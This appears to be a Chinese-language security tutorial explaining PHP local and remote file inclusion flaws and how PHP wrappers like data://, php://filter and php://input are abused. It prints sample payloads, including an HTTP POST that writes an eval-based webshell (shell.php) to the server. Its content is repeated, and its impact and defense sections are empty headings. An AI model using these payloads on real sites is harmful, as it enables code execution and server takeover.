文件包含一、成因开发人员为了使代码更加灵活,将被包含的文件设置为了变量,来实现动态调用,如果用户可以控制这个变量且服务区没有做输入校验或校验可被绕过,就导致了开发人员希望以外的文件被包含,造成了文件包含漏洞。Tip几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP\ASP\ASP.NET程序中非常少,甚至没有文件包含漏洞存在。二、 包含漏洞分类2.1 本地包含(LFI)当被包含的文件在服务器本地时,就形成本地文件包含。2.2 远程包含(RFI)远程包含需要 allow_url_include=on 、magic_quotes_gpc=off 这两个条件在php.ini中,此时包含的文件可以是第三方服务器中的文件,这就造成了远程包含。三、文件包含的函数include():当使用该函数文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。include_once():功能和include()相同,区别在于重复调用同一文件时,程序只调用一次。require():require()与include()有区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本运行。require_once():功能和require()相同,区别在于重复调用同一文件时,程序只调用一次。highlight_file()/show_source():函数对文件进行语法高亮显示,通常可以看到源代码。readfile()/file_get_contents():函数读取一个文件,并写入到输出缓冲。fopen():打开一个文件或URL四、伪协议4.1 简介PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。4.2 常用伪协议4.2.1 通过 file:// 包含前提:allow_url_fopen = off/on allow_url_include = off/onPayload:?file=file://d:/phpstudy/www/webshell.txt作用:用于访问本地文件系统,通常用于读取本地文件且不会受到allow_url_fopen和allow_url_include的影响。在include()/require()/include_once()/require_once()参数可控的情况下,如果导入非.php的文件,则仍按照php语法进行解析,因为这个是include()函数决定的。4.2.2 通过 data:// 包含前提:allow_url_fopen = on allow_url_include = onPayload:?file=data://text/plain,<?php phpinfo()?>用法:data://text/plaindata://text/plain,base64作用:通常可以用来执行PHP代码。自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。4.2.3 通过 php:// 包含前提:allow_url_fopen = off/on allow_url_include = on(仅php://input、php://stdin、php://memory、php://temp需要on)作用:php:// 伪协议有很多用法,常用的是:php://filter 用于读源码php://input 用于执行php代码4.2.3.1:php://filterPayload:?file=php://filter/read=convert.base64-encode//resource=index.php参数:resource=<要过滤的数据流> 必选项,它指定了你要筛选过滤的数据流read=<读链的过滤器> 可选项,可以设定一个或多个过滤器名称,以管道符隔开。wirte=<写链的过滤器> 可选项,可以设定一个或多个过滤器名称,以管道符隔开。任何没有以 read= 或 write= 做前缀的筛选器列表会视情况应用于写或者读链转换过滤器:convert.base64-encode base64编码器convert.base64-decode base64解码器4.2.3.2:php://input前提:allow_url_include = on可以访问请求的原始数据的只读流,将POST请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时POST你想设置的文件内容,PHP执行时会将POST的内容当做文件内容。Payload:?file=php://input [post data] <?php phpinfo()?>用法:输入file=php://input,然后用bp抓包,写入php代码。HTTPPOST /include.php?file=php://input HTTP/1.1 HOST: Accept: <?php fwrite(fopen("shell.php","w"),'<?php eval($_POST(123));?>');?>发送报文,可以看到本地生成了一句话木马,shell.php4.2.4 通过 zip:// & zlib:// 包含4.2.5 通过 phar:// 包含五、包含漏洞能做什么六、防范方法
一、成因
开发人员为了使代码更加灵活,将被包含的文件设置为了变量,来实现动态调用,如果用户可以控制这个变量且服务区没有做输入校验或校验可被绕过,就导致了开发人员希望以外的文件被包含,造成了文件包含漏洞。
几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP\ASP\ASP.NET程序中非常少,甚至没有文件包含漏洞存在。
二、 包含漏洞分类
2.1 本地包含(LFI)
当被包含的文件在服务器本地时,就形成本地文件包含。
2.2 远程包含(RFI)
远程包含需要 allow_url_include=on 、magic_quotes_gpc=off
这两个条件在php.ini中,此时包含的文件可以是第三方服务器中的文件,这就造成了远程包含。
三、文件包含的函数
四、伪协议
4.1 简介
PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。
4.2 常用伪协议
4.2.1 通过 file:// 包含
4.2.2 通过 data:// 包含
4.2.3 通过 php:// 包含
4.2.3.1:php://filter
4.2.3.2:php://input
4.2.4 通过 zip:// & zlib:// 包含
4.2.5 通过 phar:// 包含
五、包含漏洞能做什么
六、防范方法